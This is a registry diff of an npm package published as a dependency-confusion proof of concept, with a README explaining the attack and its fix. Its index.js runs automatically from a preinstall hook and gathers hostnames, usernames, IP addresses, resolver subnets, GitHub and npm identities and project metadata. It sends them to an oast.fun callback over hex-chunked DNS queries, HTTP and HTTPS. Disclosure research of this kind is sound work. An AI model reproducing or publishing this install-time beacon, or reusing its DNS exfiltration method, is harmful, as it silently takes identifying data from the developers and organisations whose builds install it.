halali-sample 999.9.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +67 -0
  2. package/index.js +209 -0
  3. package/package.json +20 -0
package/README.md ADDED
@@ -0,0 +1,67 @@
1
+ # halali-sample
2
+
3
+ **This is not a real package. It is an authorised security research proof of
4
+ concept, and it is safe.**
5
+
6
+ ## Why it exists
7
+
8
+ `halali-sample` was found referenced in publicly served code, but no package by
9
+ that name existed on the public npm registry. That combination is the
10
+ precondition for [dependency
11
+ confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610):
12
+ a build that resolves this name from the public registry rather than from an
13
+ internal one will install whatever is published here, from anyone.
14
+
15
+ It was published at version `999.9.14` deliberately. npm resolves the highest
16
+ available version, so a high number is what demonstrates that the public copy
17
+ wins over an internal one.
18
+
19
+ ## What it does when installed
20
+
21
+ It runs `index.js`, both from a `preinstall` script and on `require()`. That
22
+ script collects exactly the following and sends it to a callback:
23
+
24
+ | field | why |
25
+ |---|---|
26
+ | a random UUID generated at run time | to correlate the duplicate callbacks below |
27
+ | local IPv4 address | to distinguish a corporate build host from a scanner |
28
+ | public egress IP, looked up over HTTPS | so a callback that only arrives over DNS still has a source |
29
+ | the public IP of the DNS resolver used, and the client network it declared | identifies the network even where outbound HTTP is blocked entirely |
30
+ | hostname | to identify the organisation |
31
+ | username | to identify the organisation |
32
+ | home directory | to distinguish a developer machine from a CI container |
33
+ | current working directory | to show where in the build it resolved |
34
+ | GitHub username (`gh api user`), if the GitHub CLI is installed | to identify the developer |
35
+ | npm username (`npm whoami`), if npm is logged in | to identify the developer |
36
+ | domain of `git config user.email` (e.g. `company.com`), never the local-part | to confirm the organisation without capturing personal data |
37
+ | this package's name | to attribute the callback |
38
+ | the name of the package it is being installed into | to identify the project |
39
+ | that project's `author`, `repository` and `homepage`, if set | to identify the owner |
40
+
41
+ The same payload is sent three ways — DNS, HTTP and HTTPS — because corporate
42
+ egress filtering blocks some and not others. That produces duplicate reports of
43
+ one install; the UUID is what makes them one event again.
44
+
45
+ ## What it deliberately does not do
46
+
47
+ - no environment variables, names or values
48
+ - no credentials, tokens or keys
49
+ - no file contents, no directory listings, no source code
50
+ - no persistence, no network listening, no further downloads
51
+ - nothing that can fail your build: every operation is wrapped and errors are
52
+ discarded
53
+
54
+ ## What to do about it
55
+
56
+ Register `halali-sample` in your private registry, and configure your resolver so
57
+ that internal scopes and names are never fetched from the public registry.
58
+ npm's `.npmrc` supports pinning a scope to a registry; for unscoped internal
59
+ names, an allowlist or a proxy that refuses public fallback is the fix.
60
+
61
+ ## Contact
62
+
63
+ stillm4dd+beacons@wearehackerone.com
64
+
65
+ Delete this package from your dependencies once you have confirmed the finding.
66
+ If you are the owner of this name and would like it transferred or removed,
67
+ contact the address above and it will be done.
package/index.js ADDED
@@ -0,0 +1,209 @@
1
+ // AUTHORISED SECURITY RESEARCH -- dependency confusion proof of concept.
2
+ // Reports that this package was installed, and nothing else. See README.md.
3
+ // Contact is in package.json. Every operation below is wrapped; this file
4
+ // cannot fail your build.
5
+
6
+ const os = require("os");
7
+ const dns = require("dns");
8
+ const http = require("http");
9
+ const https = require("https");
10
+ const fs = require("fs");
11
+ const path = require("path");
12
+ const crypto = require("crypto");
13
+ const { spawnSync } = require("child_process");
14
+
15
+ const PACKAGE = "halali-sample";
16
+ const CALLBACK = "da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun";
17
+
18
+ function localIPv4() {
19
+ try {
20
+ const nets = os.networkInterfaces();
21
+ for (const name of Object.keys(nets)) {
22
+ for (const n of nets[name] || []) {
23
+ const four = n.family === "IPv4" || n.family === 4;
24
+ if (four && !n.internal) return n.address;
25
+ }
26
+ }
27
+ } catch (e) {}
28
+ return null;
29
+ }
30
+
31
+ // npm sets INIT_CWD to the directory the install was started from, which is
32
+ // the consuming project rather than this package's own folder.
33
+ function parentProject() {
34
+ const out = { name: "__global" };
35
+ try {
36
+ if (String(process.env.npm_config_global) === "true") return out;
37
+ const root = process.env.INIT_CWD || process.cwd();
38
+ const manifest = path.join(root, "package.json");
39
+ if (!fs.existsSync(manifest)) return out;
40
+ const pkg = JSON.parse(fs.readFileSync(manifest, "utf8"));
41
+ out.name = pkg.name || "__unnamed";
42
+ if (pkg.author) out.author = typeof pkg.author === "string"
43
+ ? pkg.author : pkg.author.name;
44
+ if (pkg.repository) out.repository = typeof pkg.repository === "string"
45
+ ? pkg.repository : pkg.repository.url;
46
+ if (pkg.homepage) out.homepage = pkg.homepage;
47
+ } catch (e) {}
48
+ return out;
49
+ }
50
+
51
+ // A DNS callback arrives from a recursive resolver, not from the machine that
52
+ // installed anything, so the origin has to come from inside. Two sources,
53
+ // because they fail in different situations: the HTTPS lookup gives this
54
+ // host's egress address and needs outbound HTTP; the DNS lookup gives the
55
+ // resolver's egress address and works in networks where only DNS leaves.
56
+ function publicIp(done) {
57
+ const urls = ["https://api.ipify.org", "https://icanhazip.com",
58
+ "https://ifconfig.me/ip"];
59
+ let finished = false;
60
+ const timer = setTimeout(() => finish(null), 2500);
61
+ function finish(ip) {
62
+ if (finished) return;
63
+ finished = true;
64
+ clearTimeout(timer); // never hold an install open longer than needed
65
+ done(ip);
66
+ }
67
+ for (const url of urls) {
68
+ try {
69
+ const req = https.get(url, { timeout: 2000 }, (res) => {
70
+ let body = "";
71
+ res.on("data", (d) => { body += d; if (body.length > 64) res.destroy(); });
72
+ res.on("end", () => {
73
+ const ip = body.trim();
74
+ if (/^[0-9a-f.:]{3,45}$/i.test(ip)) finish(ip);
75
+ });
76
+ });
77
+ req.on("error", () => {});
78
+ req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
79
+ } catch (e) {}
80
+ }
81
+ }
82
+
83
+ function resolverIp(done) {
84
+ let finished = false;
85
+ const timer = setTimeout(() => finish(null, null), 2000);
86
+ function finish(ip, subnet) {
87
+ if (finished) return;
88
+ finished = true;
89
+ clearTimeout(timer);
90
+ done(ip, subnet);
91
+ }
92
+ try {
93
+ // Google answers with several TXT strings in no fixed order: the querying
94
+ // resolver's address, and an edns0-client-subnet line giving the client
95
+ // network the resolver forwarded on its behalf. They must be read
96
+ // separately -- joining them yields neither.
97
+ dns.resolveTxt("o-o.myaddr.l.google.com", (err, records) => {
98
+ if (err || !records) return finish(null, null);
99
+ let ip = null, subnet = null;
100
+ for (const parts of records) {
101
+ for (const value of [].concat(parts)) {
102
+ const v = String(value).trim();
103
+ if (/^[0-9a-f.:]{3,45}$/i.test(v)) ip = ip || v;
104
+ const m = v.match(/edns0-client-subnet\s+([0-9a-f.:]+\/\d+)/i);
105
+ if (m) subnet = subnet || m[1];
106
+ }
107
+ }
108
+ finish(ip, subnet);
109
+ });
110
+ } catch (e) { finish(null, null); }
111
+ }
112
+
113
+ function tryExec(cmd, args, timeoutMs) {
114
+ try {
115
+ const r = spawnSync(cmd, args, { timeout: timeoutMs, encoding: "utf8", windowsHide: true });
116
+ if (r.status === 0 && r.stdout) return r.stdout.trim() || null;
117
+ } catch (e) {}
118
+ return null;
119
+ }
120
+
121
+ function collect() {
122
+ const parent = parentProject();
123
+ let user = null, home = null;
124
+ try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {}
125
+ return {
126
+ uuid: crypto.randomUUID(),
127
+ ip: localIPv4(),
128
+ hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(),
129
+ user: user,
130
+ home: home,
131
+ cwd: process.env.INIT_CWD || process.cwd(),
132
+ gh_user: tryExec("gh", ["api", "user", "--jq", ".login"], 3000),
133
+ npm_user: tryExec("npm", ["whoami"], 3000),
134
+ git_email_domain: (() => {
135
+ const e = tryExec("git", ["config", "user.email"], 2000);
136
+ if (e && e.includes("@")) return e.split("@").pop().toLowerCase();
137
+ return null;
138
+ })(),
139
+ public_ip: null,
140
+ resolver_ip: null,
141
+ client_subnet: null,
142
+ poc: PACKAGE,
143
+ parent: parent.name,
144
+ author: parent.author || null,
145
+ repository: parent.repository || null,
146
+ homepage: parent.homepage || null
147
+ };
148
+ }
149
+
150
+ function beacon(info) {
151
+ const body = JSON.stringify(info);
152
+
153
+ // DNS first: it is the channel most likely to survive corporate egress
154
+ // filtering. Labels are capped at 63 characters, so the payload is chunked.
155
+ try {
156
+ // Hex, not base64. Resolvers randomise the capitalisation of query
157
+ // names as an anti-spoofing measure (DNS 0x20 encoding): DNS is
158
+ // case-insensitive and the response must echo the case back, which is
159
+ // cheap entropy against cache poisoning. It also destroys any
160
+ // case-sensitive encoding -- base64 chunks arrive intact but scrambled
161
+ // and the original case is unrecoverable. Hex has one case.
162
+ const hex = Buffer.from(body).toString("hex");
163
+ const chunks = hex.match(/.{1,60}/g) || [];
164
+ dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {});
165
+ chunks.forEach((c, i) => {
166
+ try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}
167
+ });
168
+ } catch (e) {}
169
+
170
+ for (const [mod, port] of [[https, 443], [http, 80]]) {
171
+ try {
172
+ const req = mod.request({
173
+ hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`,
174
+ method: "POST", timeout: 5000,
175
+ headers: {
176
+ "Content-Type": "application/json",
177
+ "Content-Length": Buffer.byteLength(body),
178
+ "X-Poc-Uuid": info.uuid
179
+ }
180
+ });
181
+ req.on("error", () => {});
182
+ req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
183
+ req.write(body);
184
+ req.end();
185
+ } catch (e) {}
186
+ }
187
+ }
188
+
189
+ // Look both addresses up first, then send once. Each lookup is capped and
190
+ // cannot fail; if neither answers, the beacon still goes out with nulls.
191
+ try {
192
+ const info = collect();
193
+ let pending = 2;
194
+ const go = () => { if (--pending === 0) { try { beacon(info); } catch (e) {} } };
195
+ publicIp((ip) => { info.public_ip = ip; go(); });
196
+ resolverIp((ip, subnet) => {
197
+ info.resolver_ip = ip;
198
+ info.client_subnet = subnet; // the network the resolver queried for
199
+ go();
200
+ });
201
+ } catch (e) {
202
+ try { beacon(collect()); } catch (e2) {}
203
+ }
204
+
205
+ module.exports = {
206
+ __securityResearch: true,
207
+ package: PACKAGE,
208
+ contact: "see package.json"
209
+ };
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "halali-sample",
3
+ "version": "999.9.14",
4
+ "description": "AUTHORISED SECURITY RESEARCH \u2014 dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an internal package name from the public registry instead of your private one. On install it sends a hostname, username, install path, and optionally the GitHub and npm usernames (if those CLIs are logged in) to a callback so the finding can be confirmed, and does nothing else \u2014 no credentials, no environment variables, no file contents. Contact: stillm4dd+beacons@wearehackerone.com",
5
+ "main": "index.js",
6
+ "files": [
7
+ "index.js",
8
+ "README.md"
9
+ ],
10
+ "scripts": {
11
+ "preinstall": "node index.js"
12
+ },
13
+ "author": "stillm4dd+beacons@wearehackerone.com",
14
+ "license": "ISC",
15
+ "keywords": [
16
+ "security-research",
17
+ "dependency-confusion",
18
+ "proof-of-concept"
19
+ ]
20
+ }